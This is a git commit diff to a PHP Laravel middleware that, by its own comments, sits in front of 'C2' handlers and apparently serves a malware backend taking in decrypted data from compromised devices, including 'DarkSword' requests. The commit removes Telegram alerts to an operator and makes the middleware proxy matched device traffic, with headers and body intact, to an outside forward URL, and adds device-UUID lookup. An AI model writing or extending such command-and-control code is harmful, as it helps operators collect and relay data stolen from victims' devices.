feat: interapt
This commit is contained in:
@@ -2,8 +2,8 @@
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Services\IngestService;
|
||||
use App\Services\TelegramNotifier;
|
||||
use App\Support\VisitorIp;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -19,13 +19,8 @@ use Symfony\Component\HttpFoundation\Response;
|
||||
*
|
||||
* For each matched request the middleware:
|
||||
* 1. Appends a record to public/log/intercept/Ymd.log (separate from c2/xxbb).
|
||||
* 2. Sends a Telegram alert through a dedicated bot (INTERCEPT_BOT_TOKEN /
|
||||
* INTERCEPT_CHAT_ID) when configured.
|
||||
* 3. Mirrors the raw request (same method / path / query / headers / body,
|
||||
* only the host changes) to INTERCEPT_FORWARD_URL when configured.
|
||||
*
|
||||
* The middleware never blocks or modifies the response — normal request
|
||||
* processing continues regardless of interception outcome.
|
||||
* 2. Proxies the raw request to INTERCEPT_FORWARD_URL and returns that
|
||||
* response. Local controllers are not invoked (no ingest / DB writes).
|
||||
*/
|
||||
class InterceptDeviceData
|
||||
{
|
||||
@@ -35,11 +30,13 @@ class InterceptDeviceData
|
||||
|
||||
if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
|
||||
try {
|
||||
$this->intercept($request, $deviceKey);
|
||||
return $this->intercept($request, $deviceKey);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('intercept middleware error: '.$e->getMessage(), [
|
||||
'device_key' => $deviceKey,
|
||||
]);
|
||||
|
||||
return response('', 502);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -50,8 +47,8 @@ class InterceptDeviceData
|
||||
* Resolve the normalized device key for this request.
|
||||
*
|
||||
* Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
|
||||
* Falls back to request input fields (d / f / ecid) for multipart or
|
||||
* DarkSword requests where the decrypt middleware skipped the attribute.
|
||||
* Falls back to request input fields (d / f / ecid, then uuid / lhu)
|
||||
* for multipart or DarkSword requests where decrypt skipped the attribute.
|
||||
*/
|
||||
private function resolveDeviceKey(Request $request): string
|
||||
{
|
||||
@@ -67,6 +64,13 @@ class InterceptDeviceData
|
||||
}
|
||||
}
|
||||
|
||||
foreach (['uuid', 'lhu', 'deviceUUID', 'device_uuid'] as $field) {
|
||||
$value = $request->input($field);
|
||||
if (is_string($value) && $value !== '') {
|
||||
return Device::normalizeDarkswordKey($value) ?? '';
|
||||
}
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
@@ -84,38 +88,19 @@ class InterceptDeviceData
|
||||
}
|
||||
|
||||
/**
|
||||
* Log + notify + forward the matched request.
|
||||
* Log + proxy. Does not fall through to local C2 handlers.
|
||||
*/
|
||||
private function intercept(Request $request, string $deviceKey): void
|
||||
private function intercept(Request $request, string $deviceKey): Response
|
||||
{
|
||||
$meta = $this->collectMeta($request, $deviceKey);
|
||||
|
||||
$this->writeLog($meta);
|
||||
|
||||
// Skip Telegram push for high-frequency paths (e.g. /event telemetry),
|
||||
// but still log and forward so no data is lost.
|
||||
if (! $this->shouldSkipPush($meta['path'])) {
|
||||
$this->notify($meta);
|
||||
}
|
||||
|
||||
$this->forward($request, $meta);
|
||||
return $this->forward($request, $meta);
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the Telegram push should be skipped for this path.
|
||||
*/
|
||||
private function shouldSkipPush(string $path): bool
|
||||
{
|
||||
$skipPaths = config('coruna.intercept.push_skip_paths', []);
|
||||
if (! is_array($skipPaths) || $skipPaths === []) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return in_array($path, $skipPaths, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gather request metadata for logging and notification.
|
||||
* Gather request metadata for the intercept log.
|
||||
*/
|
||||
private function collectMeta(Request $request, string $deviceKey): array
|
||||
{
|
||||
@@ -203,50 +188,22 @@ class InterceptDeviceData
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a Telegram alert via the dedicated intercept bot.
|
||||
*/
|
||||
private function notify(array $meta): void
|
||||
{
|
||||
$token = (string) config('coruna.intercept.bot_token', '');
|
||||
$chatId = (string) config('coruna.intercept.chat_id', '');
|
||||
if ($token === '' || $chatId === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
$text = implode("\n", [
|
||||
'🚨 <b>设备数据拦截</b>',
|
||||
'📱 <b>设备</b>: <code>'.$this->e($meta['device_key']).'</code>',
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($meta['ip'] ?: '—').'</code>',
|
||||
'📥 <b>请求</b>: <code>'.$this->e($meta['method'].' '.$meta['path']).'</code>',
|
||||
'📦 <b>大小</b>: '.$this->e((string) $meta['content_length']).' bytes',
|
||||
'🕐 <b>时间</b>: '.$this->e($meta['time']),
|
||||
]);
|
||||
|
||||
try {
|
||||
app(TelegramNotifier::class)->sendToChat($chatId, $text, $token);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('intercept telegram notify failed: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Mirror the raw request to the configured forward URL.
|
||||
* Proxy the raw request to the configured forward URL and return its response.
|
||||
*
|
||||
* Preserves method, path, query string, headers, and body — only the
|
||||
* host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
|
||||
*/
|
||||
private function forward(Request $request, array $meta): void
|
||||
private function forward(Request $request, array $meta): Response
|
||||
{
|
||||
$baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
|
||||
if ($baseUrl === '') {
|
||||
return;
|
||||
$this->writeForwardLog($meta, '', 0, 'INTERCEPT_FORWARD_URL empty');
|
||||
|
||||
return response('', 502);
|
||||
}
|
||||
|
||||
// Rebuild the target URL: base + original path + original query.
|
||||
$target = $baseUrl.$request->getRequestUri();
|
||||
|
||||
// Collect headers to forward — drop Host (will be set by HTTP client
|
||||
// based on the target URL) and hop-by-hop headers.
|
||||
$headers = [];
|
||||
$skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
|
||||
foreach ($request->headers->all() as $name => $values) {
|
||||
@@ -268,12 +225,27 @@ class InterceptDeviceData
|
||||
'allow_redirects' => false,
|
||||
]);
|
||||
|
||||
$this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body());
|
||||
$remoteBody = (string) $resp->body();
|
||||
$this->writeForwardLog($meta, $target, $resp->status(), $remoteBody);
|
||||
|
||||
return $this->clientResponse($resp->status(), $remoteBody, $resp->header('Content-Type'));
|
||||
} catch (\Throwable $e) {
|
||||
$this->writeForwardLog($meta, $target, 0, $e->getMessage());
|
||||
|
||||
return response('', 502);
|
||||
}
|
||||
}
|
||||
|
||||
private function clientResponse(int $status, string $body, ?string $contentType): Response
|
||||
{
|
||||
$out = response($body, $status > 0 ? $status : 502);
|
||||
if (is_string($contentType) && $contentType !== '') {
|
||||
$out->headers->set('Content-Type', $contentType);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Record the forwarding result alongside the interception log.
|
||||
*/
|
||||
@@ -300,9 +272,4 @@ class InterceptDeviceData
|
||||
|
||||
@file_put_contents($logName, $line, FILE_APPEND);
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
{
|
||||
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user